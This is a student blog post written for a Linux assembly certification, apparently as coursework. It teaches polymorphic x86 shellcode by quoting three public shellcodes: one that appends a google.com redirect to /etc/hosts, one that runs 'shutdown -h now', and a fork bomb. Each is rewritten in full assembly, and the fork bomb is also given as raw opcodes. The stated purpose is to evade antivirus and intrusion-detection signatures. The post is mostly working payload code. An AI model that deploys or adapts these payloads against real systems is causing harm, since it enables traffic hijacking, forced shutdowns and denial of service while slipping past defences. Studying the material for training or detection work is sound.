This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1202

TL;DR:


Hi! Today we are going to talk about polymorphic shellcodes.

Well, CPU and memory just store some state, right? And this state may be changed with different CPU instructions.

There is a really huge instruction set for x86, so, it is not so hard to check that some instructions or their combinations can lead our CPU and memory to the same states.

For example, we can use mov eax, 0x00 to make EAX equals zero, or run xor eax, eax for this purpose, or make EBX equals zero and call mul EBX and so on.

And there are a lot of such combinations. Some of them requires additional bytes, but leads to the such state of CPU and memory.

This property of shellcodes has the name “polymorphism”. How can we use this? Well, we can bypass AV/IPS signatures, for example. Also, encoding is not a panacea against badchars, because here may be bad chars in encoder itself - and in this case we can use polymorphism too!

Let’s check some practical examples.

Shellcode #1

I found this shellcode on the shell-storm. Here is the code:

;modify_hosts.asm
;this program add a new entry in hosts file pointing google.com to 127.1.1.1 
;author Javier Tejedor
;date 24/09/2014
;http://shell-storm.org/shellcode/files/shellcode-893.php

global _start

section .text

_start:
    xor ecx, ecx
    mul ecx
    mov al, 0x5     
    push ecx
    push 0x7374736f     ;/etc///hosts
    push 0x682f2f2f
    push 0x6374652f
    mov ebx, esp
    mov cx, 0x401       ;permmisions
    int 0x80        ;syscall to open file

    xchg eax, ebx
    push 0x4
    pop eax
    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
    push 20         ;length of the string, dont forget to modify if changes the map
    pop edx
    int 0x80        ;syscall to write in the file

    push 0x6
    pop eax
    int 0x80        ;syscall to close the file

    push 0x1
    pop eax
    int 0x80        ;syscall to exit

_load_data:
    call _write
    google db "127.1.1.1 google.com"

This shellcode appends one line to the ‘/etc/hosts’ file that allows attacker to redirect user traffic to the malicious site, or just server - depends on purpose.

String “127.1.1.1 google.com” means that any requests for “google.com” will be redirected to 127.1.1.1 (alias for localhost) on the DNS name resolution stage.

Here is my polymorphic code for this shellcode:

; polymoprhic_hosts.asm
; Author: German Namestnikov

global _start

section .text

_start:
    xor ecx, ecx
    xor eax, eax       

    add al, 0x05         
    
    push ecx             
    inc ecx

    mov edx, 0xe6e8e6de  


    ror edx, cl
    push edx

    mov edx, 0xd05e5e5e
    ror edx, cl
    push edx

    mov edx, 0xc6e8ca5e
    ror edx, cl
    push edx
   
    mov ebx, esp

    mov ch, 0x04        
    mov cl, 0x01
    int 0x80            

    xor ebx, ebx
    xchg eax, ebx

    jmp short _load_data    ;jmp-call-pop technique to load the map

_write:
    pop ecx
 
    xor edx, edx
    mov dl, 0x14
    mov al, 0x04

    int 0x80        ;syscall to write in the file

    mov al, 0x06
    int 0x80        ;syscall to close the file

    mov al, 0x01
    int 0x80        ;syscall to exit


_load_data:
    call _write
    google db "127.1.1.1 google.com"

Well, I changed several things in the original shellcode. First of all - and most important to note that - I changed substrings that will be pushed to the Stack. There is “/etc///hosts” string in original shellcode that may be detected (or its parts) by IDS. Actually, such things is a true miracle for IPS :D

I push the parts of “/etc///hosts” too, but I store them in code in rotated form, and just return them back before pushing.

Second thing to note is that I changed loading permissions (mov cx, 0x401) process. CX consists of CH and CL, so, I decided to load them one by one with mov ch, 0x04 and mov cl, 0x01 instructions.

Also, I prefer to load values into the registers directly and changed common push/pop instructions on movs.

Original shellcode has 77 bytes size, and my polymorphic code has 87 bytes size - that gives us 12% overweight. Nice result!

Shellcode #2

The next shellcode to make polymorph is this ‘shutdown -h now’ shellcode:

; Title: shutdown -h now Shellcode - 56 bytes
; Date: 2014-06-27
; Platform: linux/x86
; Author: Osanda Malith Jayathissa (@OsandaMalith)
; http://shell-storm.org/shellcode/files/shellcode-876.php

global _start

section .text

_start:
    xor    eax,eax
    xor    edx,edx
    push   eax
    push word  0x682d  
    mov    edi, esp
    push   eax
    push   0x6e        
    mov    word [esp+0x01], 0x776f 
    mov    edi,esp
    push   eax
    push   0x6e776f64
    push   0x74756873
    push   0x2f2f2f6e
    push   0x6962732f
    mov    ebx,esp
    push   edx
    push   esi
    push   edi
    push   ebx
    mov    ecx,esp
    mov    al,0xb
    int    0x80

This code is just a decompilation, but it works fine for me. There are multiple pushes with substrings too, so, I decided to have some fun and check different ways.

Finally, here is my code:

global _start

section .text

_start:
    xor eax, eax
    xor edx, edx
    xor ebx, ebx
    ; push "-h", 0x00
    push eax
    push word  0x682d           
    
    ; mov edi, esp

    ; push 0x00776f6e = "now", 0x00
    mov ax, 0x9526
    mov bl, 0xcd
    mul ebx
    push eax                     

    mov edi, esp

    ; push "/sbin///shutdown", 0x00
    push edx
    
    mov eax, edx                ; nwod
    mov ax, 0xfdee
    mov bx, 0x6f5e
    mul ebx
    push eax
    
    push word 0x7475            ; tuhs
    push word 0x6873            
    
 
    mov eax, 0xffffffff         ; ///n
    sub eax, 0xd0d0d091
    push eax

    push   0x6962732f            ; ibs/
    mov    ebx, esp

    ; SYS_EXECVE params
    push   edx
    push   esi
    push   edi
    push   ebx
    mov    ecx, esp

    xor eax, eax
    mov    al, 0x0b

    int    0x80

Well, 4-bytes substrings are actually just a numbers. And I considered them like they are a numbers :)

I used multiplication and substraction to hide strings behind “random” bytes. This may be tricky, but no rocket science here.

Overweight is 74/55 = 34%.

Shellcode #3

After these two shellcodes I was tired and decided to have some fun. And there is no much funny thing as DoS!

I found this shellcode that implements the fork() bomb. This is a pretty small, and, actually, I have never worked with fork() function or SYS_FORK syscall.

First of all, I disassembled the code:

german@slae-lab:~/slae-shellcoding$ echo $'\x6a\x02\x58\xcd\x80\xeb\xf9' | ndisasm -u -
00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80
00000005  EBF9              jmp short 0x0

I slightly modified this code (but saved an opcodes) to make proper asm-file:

; http://shell-storm.org/shellcode/files/shellcode-214.php
global _start

section .text

_start:
    push byte 0x2
    pop eax
    int 0x80

    jmp short _start

Ok, what about polymorph code? The smaller the code size is, the harder it is to mutate it. But I tried :D

Here is a result:

; http://shell-storm.org/shellcode/files/shellcode-214.php
global _start

section .text

_start:
    xor ebx, ebx
    inc ebx
    inc ebx

_syscall:
    mov eax, ebx
    int 0x80
    jmp _syscall

And here are opcodes of my shellcode: \x31\xdb\x43\x43\x89\xd8\xcd\x80\xeb\xfa. Original shellcode is here too: \x6a\x02\x58\xcd\x80\xeb\xf9.

Size of my shellcode is 10 bytes vs. 7 bytes in original. 42% overweight, but it is Ok too.

Conclusion

Polymorphism is a great technique based on the properties of CPU instructions itself. I made a three examples of mutating shellcodes, this uses polymorphism property, but this is not polymorphism itself - I didn’t create polymorphic engine or other automation tool.

Also, size of polymorphic shellcode does matter. This is very hard to limit overweight of polymorphic versions of small shellcodes as I demonstrated with last example.

Also, check my small SLAE repo. I almost finished all assignments, but I still will publish something after that.

Good Luck!

The end